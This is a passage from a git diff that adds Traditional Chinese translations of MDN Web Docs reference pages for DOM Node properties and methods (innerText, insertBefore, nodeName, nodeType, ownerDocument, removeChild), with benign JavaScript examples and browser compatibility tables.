+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getUserData()</code>, <code>setUserData()</code> and <code>hasAttributes()</code> {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSameNode()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatGeckoDesktop("1.0")}}<br>
+     Removed in {{CompatGeckoDesktop("10")}}<br>
+     Returned in {{CompatGeckoDesktop("48")}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isSupported()</code> {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>rootNode()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>namespaceURI</code>, <code>localName</code>, <code>prefix</code> {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}}48.0[3]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getRootNode()</code>, and <code>rootNode</code> deprecated</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(53)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] WebKit and old versions of Blink incorrectly do not make <code>Node</code> inherit from {{domxref("EventTarget")}}.</p>
+
+<p>[2] In Gecko 22.0 {{geckoRelease("22.0")}} the <code>attributes</code> property was moved to {{domxref("Element")}}.</p>
+
+<p>[3] The properties were moved to the {{domxref("Element")}} and {{domxref("Attr")}} APIs according to the DOM4 standard.</p>
diff --git a/files/zh-tw/web/api/node/innertext/index.html b/files/zh-tw/web/api/node/innertext/index.html
new file mode 100644
index 0000000000..4c8a4272fc
--- /dev/null
+++ b/files/zh-tw/web/api/node/innertext/index.html
@@ -0,0 +1,86 @@
+---
+title: Node.innerText
+slug: Web/API/Node/innerText
+translation_of: Web/API/HTMLElement/innerText
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="概述">概述</h2>
+
+<p><code><strong>Node.innerText</strong></code> 是一個代表節點及其後代之「已渲染」（rendered）文字內容的屬性。如同一個存取器，<code>Node.innerText</code> 近似於使用者利用游標選取成高亮後複製至剪貼簿之元素的內容。此功能最初由 Internet Explorer 提供，並在被所有主要瀏覽器採納之後，於 2016 年正式成為 HTML 標準。</p>
+
+<p>{{domxref("Node.textContent")}} 屬性是一個相似的選擇，但兩者之間仍有非常不同的差異。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Introduced, based on the <a href="https://github.com/rocallahan/innerText-spec">draft of the innerText specification</a>. See <a href="https://github.com/whatwg/html/issues/465">whatwg/html#465</a> and <a href="https://github.com/whatwg/compat/issues/5">whatwg/compat#5</a> for history.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{ CompatGeckoDesktop(45) }}</td>
+   <td>6</td>
+   <td>9.6 (probably earlier)</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.3 (probably earlier)</td>
+   <td>{{ CompatGeckoMobile(45) }}</td>
+   <td>10 (probably earlier)</td>
+   <td>12</td>
+   <td>4.1 (probably earlier)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/node/insertbefore/index.html b/files/zh-tw/web/api/node/insertbefore/index.html
new file mode 100644
index 0000000000..393cc88d80
--- /dev/null
+++ b/files/zh-tw/web/api/node/insertbefore/index.html
@@ -0,0 +1,167 @@
+---
+title: Node.insertBefore()
+slug: Web/API/Node/insertBefore
+translation_of: Web/API/Node/insertBefore
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.insertBefore()</strong></code> 方法將一個節點安插在參考節點之前，作為某個特定父節點之子節點。If the given child is a reference to an existing node in the document, <code>insertBefore()</code> moves it from its current position to the new position (there is no requirement to remove the node from its parent node before appending it to some other node).</p>
+
+<p>同一個節點並不會同時出現在兩個地方。所以當節點已經有父節點，它會先被移除，然後被插入在新的位置上。The {{domxref("Node.cloneNode()")}} can be used to make a copy of the node before appending it under the new parent. Note that the copies made with <code>cloneNode</code> will not be automatically kept in sync.</p>
+
+<p>若參考節點為 <code>null</code>, 那需插入的節點就會成為特定父節點的最後一個子節點。</p>
+
+<p>If the given child is a {{domxref("DocumentFragment")}}, the entire contents of the {{domxref("DocumentFragment")}} are moved into the child list of the specified parent node.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>insertedNode</em> = <em>parentNode</em>.insertBefore(<em>newNode</em>, <em>referenceNode</em>);
+</pre>
+
+<p>If <code><var>referenceNode</var></code> is <code>null</code>, the <code><var>newNode</var></code> is inserted at the end of the list of child nodes.</p>
+
+<div class="note">
+<p><em><code>referenceNode</code></em> <strong>並非</strong>可選擇的參數 -- 一定要傳入一個<code>節點</code>或是   <code>null</code>。若是傳入失敗或不正確的參數，可能會依不同的瀏覽器版本而有<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=119489">不同的</a><a href="https://code.google.com/p/chromium/issues/detail?id=419780">行為</a>。</p>
+</div>
+
+<h2 id="Returns" name="Returns">Returns</h2>
+
+<p>會回傳新加入的子節點。若該值(<code>newNode</code>)是{{domxref("DocumentFragment")}}, 則回傳空的 {{domxref("DocumentFragment")}}。</p>
+
+<h2 id="Example_2">Example</h2>
+
+<pre class="brush: html">&lt;div id="parentElement"&gt;
+   &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Create the new node to insert
+var newNode = document.createElement("span");
+
+// Get a reference to the parent node
+var parentDiv = document.getElementById("childElement").parentNode;
+
+// Begin test case [ 1 ] : Exist a childElement --&gt; All working correctly
+var sp2 = document.getElementById("childElement");
+parentDiv.insertBefore(newNode, sp2);
+// End test case [ 1 ]
+
+// Begin test case [ 2 ] : childElement is of Type undefined
+var sp2 = undefined; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Implicit dynamic cast to type Node
+// End test case [ 2 ]
+
+// Begin test case [ 3 ] : childElement is of Type "undefined" ( string )
+var sp2 = "undefined"; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
+// End test case [ 3 ]
+&lt;/script&gt;</pre>
+
+<ul>
+ <li><code>insertedNode</code> 被插入的節點，也就是 <code>newNode</code>。</li>
+ <li><code>parentNode</code> 指定的父節點。</li>
+ <li><code>newNode</code> 被插入的節點。</li>
+ <li><code>referenceNode</code> 參考節點。The node before which <code>newNode</code> is inserted.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:html">&lt;div id="parentElement"&gt;
+  &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Create a new, plain &lt;span&gt; element
+var sp1 = document.createElement("span");
+
+// Get a reference to the element, before we want to insert the element
+var sp2 = document.getElementById("childElement");
+// Get a reference to the parent element
+var parentDiv = sp2.parentNode;
+
+// Insert the new element into the DOM before sp2
+parentDiv.insertBefore(sp1, sp2);
+&lt;/script&gt;
+</pre>
+
+<p>There is no <code>insertAfter</code> method. It can be emulated by combining the <code>insertBefore</code> method with <code><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p>
+
+<p>In the previous example, <code>sp1</code> could be inserted after <code>sp2</code> using:</p>
+
+<pre><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre>
+
+<p>If <code>sp2</code> does not have a next sibling, then it must be the last child — <code>sp2.nextSibling</code> returns <code>null</code>, and <code>sp1</code> is inserted at the end of the child node list (immediately after <code>sp2</code>).</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>Insert an element before the first child element, using the <a href="/en-US/docs/DOM/Node.firstChild" title="Node.firstChild">firstChild</a> property.</p>
+
+<pre class="brush:js">// Get a reference to the element in which we want to insert a new node
+var parentElement = document.getElementById('parentElement');
+// Get a reference to the first child
+var theFirstChild = parentElement.firstChild;
+
+// Create a new element
+var newElement = document.createElement("div");
+
+// Insert the new element before the first child
+parentElement.insertBefore(newElement, theFirstChild);
+</pre>
+
+<p>When the element does not have a first child, then <code>firstChild</code> is <code>null</code>. The element is still appended to the parent, after the last child. Since the parent element did not have a first child, it did not have a last child either. Consequently, the new element is the only element, after insertion.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Node.insertBefore")}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-insertbefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Fixes errors in the insertion algorithm</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-node-insertbefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Describes the algorithm in more detail</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No notable changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No notable changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-core.html#method-insertBefore','Node.insertBefore')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Introduced</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/node/nodename/index.html b/files/zh-tw/web/api/node/nodename/index.html
new file mode 100644
index 0000000000..b9c95b6e2f
--- /dev/null
+++ b/files/zh-tw/web/api/node/nodename/index.html
@@ -0,0 +1,102 @@
+---
+title: Node.nodeName
+slug: Web/API/Node/nodeName
+translation_of: Web/API/Node/nodeName
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.nodeName</strong></code> 唯讀屬性會回傳目前節點名稱的字串。</p>
+
+<p>不同類型節點之回傳值：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>介面</th>
+   <th>nodeName 值</th>
+  </tr>
+  <tr>
+   <td>{{domxref("Attr")}}</td>
+   <td>The value of {{domxref("Attr.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("CDATASection")}}</td>
+   <td><code>"#cdata-section"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Comment")}}</td>
+   <td><code>"#comment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document")}}</td>
+   <td><code>"#document"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentFragment")}}</td>
+   <td><code>"#document-fragment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentType")}}</td>
+   <td>The value of {{domxref("DocumentType.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element")}}</td>
+   <td>The value of {{domxref("Element.tagName")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Entity")}}</td>
+   <td>The entity name</td>
+  </tr>
+  <tr>
+   <td>{{domxref("EntityReference")}}</td>
+   <td>The name of entity reference</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Notation")}}</td>
+   <td>The notation name</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>The value of {{domxref("ProcessingInstruction.target")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Text")}}</td>
+   <td><code>"#text"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <em>str</em> = <em>node</em>.nodeName;
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>Given the following markup:</p>
+
+<pre class="brush:html">&lt;div id="d1"&gt;hello world&lt;/div&gt;
+&lt;input type="text" id="t"/&gt;
+</pre>
+
+<p>and the following script:</p>
+
+<pre class="brush:js">var div1 = document.getElementById("d1");
+var text_field = document.getElementById("t");
+
+text_field.value = div1.nodeName;
+</pre>
+
+<p>In XHTML (or any other XML format), <code>text_field</code>'s value would read "div". However, in HTML, <code>text_field</code>'s value would read "DIV", because <code>nodeName</code> and <code>tagName</code> return in upper case on HTML elements in DOMs flagged as HTML documents. Read more <a href="http://ejohn.org/blog/nodename-case-sensitivity/" title="http://ejohn.org/blog/nodename-case-sensitivity/">details on nodeName case sensitivity in different browsers</a>.</p>
+
+<p>Note that <code><a href="/en-US/docs/DOM/element.tagName" title="DOM/element.tagName">tagName</a></code> property could have been used instead, since <code>nodeName</code> has the same value as <code>tagName</code> for an element. Bear in mind, however, that <code>nodeName</code> will return <code>#text</code> for text nodes while <code>tagName</code> will return <code>undefined</code>.</p>
+
+<h2 id="規範">規範</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D095">DOM Level 2 Core: Node.nodeName</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-F68D095">DOM Level 3 Core: Node.nodeName</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/node/nodetype/index.html b/files/zh-tw/web/api/node/nodetype/index.html
new file mode 100644
index 0000000000..606cbd1b94
--- /dev/null
+++ b/files/zh-tw/web/api/node/nodetype/index.html
@@ -0,0 +1,171 @@
+---
+title: Node.nodeType
+slug: Web/API/Node/nodeType
+translation_of: Web/API/Node/nodeType
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.nodeType</strong></code> 唯讀屬性表示了節點物件的類型。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>The <strong><code>nodeType</code></strong> property can be used to distinguish different kind of nodes, such that {{domxref("Element", "elements")}}, {{domxref("Text", "text")}} and {{domxref("Comment", "comments")}}, from each other.</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><em>var <var>type</var></em> = <var>node</var>.nodeType;
+</pre>
+
+<p>Returns an integer value which specifies the type of the node; possible values are listed in {{anch("Node type constants")}}.</p>
+
+<h2 id="常數">常數</h2>
+
+<h3 id="節點類型常數">節點類型常數</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("Node.ELEMENT_NODE")}} {{readonlyinline}}</td>
+   <td><code>1</code></td>
+   <td>表示元素的 {{domxref("Element")}} 節點，如 {{HTMLElement("body")}}、{{HTMLElement("a")}}、{{HTMLElement("p")}}、{{HTMLElement("script")}}、{{HTMLElement("style")}}、{{HTMLElement("html")}}、{{HTMLElement("h1")}} 或 {{HTMLElement("div")}}<font face="Consolas, Liberation Mono, Courier, monospace">。</font></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Node.TEXT_NODE")}} {{readonlyinline}}</td>
+   <td><code>3</code></td>
+   <td>於表示元素的 {{domxref("Element")}} 節點或表示 {{Glossary("attribute", "HTML 元素屬性")}}的 {{domxref("Attr")}} 節點中，表示了實際文字字元的 {{domxref("Text")}} 節點，它包括了換行與空格。</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Node.PROCESSING_INSTRUCTION_NODE")}} {{readonlyinline}}</td>
+   <td><code>7</code></td>
+   <td>A {{domxref("ProcessingInstruction")}} of an XML document such as <code>&lt;?xml-stylesheet ... ?&gt;</code> declaration.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Node.COMMENT_NODE")}} {{readonlyinline}}</td>
+   <td><code>8</code></td>
+   <td>表示註解的 {{domxref("Comment")}} 節點。</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Node.DOCUMENT_NODE")}} {{readonlyinline}}</td>
+   <td><code>9</code></td>
+   <td>表示文件的 {{domxref("Document")}} 節點。</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Node.DOCUMENT_TYPE_NODE")}} {{readonlyinline}}</td>
+   <td><code>10</code></td>
+   <td>表示文件類型的 {{domxref("DocumentType")}} 節點，例如 HTML5 的 <code>&lt;!DOCTYPE html&gt;</code>。</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Node.DOCUMENT_FRAGMENT_NODE")}} {{readonlyinline}}</td>
+   <td><code>11</code></td>
+   <td>A {{domxref("DocumentFragment")}} node.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="已過時的節點類型常數_deprecated_inline()">已過時的節點類型常數 {{deprecated_inline()}}</h3>
+
+<p>The following constants have been deprecated and should not be used anymore.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Constant</td>
+   <td>Value</td>
+   <td>Description</td>
+  </tr>
+  <tr>
+   <td><code>Node.ATTRIBUTE_NODE</code></td>
+   <td>2</td>
+   <td>An {{domxref("Attr", "Attribute")}} of an {{domxref("Element")}}. The element attributes are no longer implementing the {{domxref("Node")}} interface in {{SpecName("DOM4")}} specification.</td>
+  </tr>
+  <tr>
+   <td><code>Node.CDATA_SECTION_NODE</code></td>
+   <td><code>4</code></td>
+   <td>A {{domxref("CDATASection")}}. Removed in {{SpecName("DOM4")}} specification.</td>
+  </tr>
+  <tr>
+   <td><code>Node.ENTITY_REFERENCE_NODE</code></td>
+   <td>5</td>
+   <td>An XML Entity Reference node. Removed in {{SpecName("DOM4")}} specification.</td>
+  </tr>
+  <tr>
+   <td><code>Node.ENTITY_NODE</code></td>
+   <td>6</td>
+   <td>An XML <code>&lt;!ENTITY ...&gt;</code> node. Removed in {{SpecName("DOM4")}} specification.</td>
+  </tr>
+  <tr>
+   <td><code>Node.NOTATION_NODE</code></td>
+   <td>12</td>
+   <td>An XML <code>&lt;!NOTATION ...&gt;</code> node. Removed in {{SpecName("DOM4")}} specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<h3 id="Different_types_of_nodes">Different types of nodes</h3>
+
+<pre class="brush: js">document.nodeType === Node.DOCUMENT_NODE; // true
+document.doctype.nodeType === Node.DOCUMENT_TYPE_NODE; // true
+
+var fragment = document.createDocumentFragment();
+fragment.nodeType === Node.DOCUMENT_FRAGMENT_NODE; // true
+
+<code>var p = document.createElement("p");
+p.textContent = "Once upon a time...";</code>
+
+p.nodeType === Node.ELEMENT_NODE; // true
+p.firstChild.nodeType === Node.TEXT_NODE; // true
+</pre>
+
+<h3 id="Comments">Comments</h3>
+
+<p>This example checks if the first node inside the document element is a comment node, and if it is not, displays a message.</p>
+
+<pre class="brush: js">var node = document.documentElement.firstChild;
+if (node.nodeType != Node.COMMENT_NODE)
+  console.log("You should comment your code well!");
+</pre>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-nodetype', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Deprecated <code>ATTRIBUTE_NODE, CDATA_SECTION_NODE, ENTITY_REFERENCE_NODE and NOTATION_NODE</code> types.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-111237558', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-111237558', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/node/ownerdocument/index.html b/files/zh-tw/web/api/node/ownerdocument/index.html
new file mode 100644
index 0000000000..33e8e641e8
--- /dev/null
+++ b/files/zh-tw/web/api/node/ownerdocument/index.html
@@ -0,0 +1,111 @@
+---
+title: Node.ownerDocument
+slug: Web/API/Node/ownerDocument
+translation_of: Web/API/Node/ownerDocument
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.ownerDocument</strong></code> 唯讀屬性會回傳一個此節點所屬的的頂層 <code>document</code> 物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>document</var> = <var>element</var>.ownerDocument
+</pre>
+
+<ul>
+ <li><code>document</code> is the {{domxref("Document", "document")}} object parent of the current element.</li>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush:js">// given a node "p", get the top-level HTML child
+// of the document object
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+</pre>
+
+<h2 id="備註">備註</h2>
+
+<p>The <code>document</code> object returned by this property is the main object with which all the child nodes in the actual HTML document are created. If this property is used on a node that is itself a document, the result is <code>null</code>.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>6.0<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting in Gecko 9.0 {{geckoRelease("9.0")}}, the <code>ownerDocument</code> of doctype nodes (that is, nodes for which {{domxref("Node.nodeType")}} is <code>Node.DOCUMENT_TYPE_NODE</code> or 10) is no longer <code>null</code>. Instead, the <code>ownerDocument</code> is the document on which <a href="/en-US/docs/DOM/DOMImplementation.createDocumentType"><code>document.implementation.createDocumentType()</code></a> was called.</p>
+
+<p>[2] <a href="http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx</a></p>
diff --git a/files/zh-tw/web/api/node/removechild/index.html b/files/zh-tw/web/api/node/removechild/index.html
new file mode 100644
index 0000000000..d453835c0c
--- /dev/null
+++ b/files/zh-tw/web/api/node/removechild/index.html
@@ -0,0 +1,133 @@
+---
+title: Node.removeChild()
+slug: Web/API/Node/removeChild
+translation_of: Web/API/Node/removeChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.removeChild()</strong></code> 方法從 DOM 移除一個子節點，並傳回移除的節點。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <em>oldChild</em> = <em>node</em>.removeChild(<em>child</em>);
+<strong>或</strong>
+<em>node</em>.removeChild(<em>child</em>);
+</pre>
+
+<ul>
+ <li><code>child</code> 是 DOM 中想要移除的子節點。</li>
+ <li><code>node</code> 是 <code>child</code> 的父節點。</li>
+ <li><code>oldChild</code> 為將被移除的子節點參照，例如：<code>oldChild === child</code>.</li>
+</ul>
+
+<p>被刪除的子節點仍然存於記憶體之中，只是不在 DOM 了。從上述的第一種語法形式中，我們知道，透過引用 <code>oldChild</code> 還是可以在程式中重新使用已經被移除的子節點。</p>
+
+<p>而第二種語法形式，因為沒有保留 <code>oldChild</code> 引用，因此假設你並沒有在其他地方保留節點引用，則它會立即無法使用且不可挽回，而且通常會在短時間內從<a href="/en-US/docs/Web/JavaScript/Memory_Management">內存管理</a>中被自動刪除。</p>
+
+<p>如果 <code>child</code> 並非某 <code>element</code> 節點的子元素，則此方法會拋出異常。而如果調用此方法時，<code>child</code> 雖是某 <code>element</code> 的子元素，但在嘗試刪除它的過程中已被其他事件處理程序刪除，也會拋出異常（例如 {{Event("blur")}}）。</p>
+
+<h3 id="會丟出的錯誤">會丟出的錯誤</h3>
+
+<p>兩種不同的方式拋出異常：</p>
+
+<ol>
+ <li>
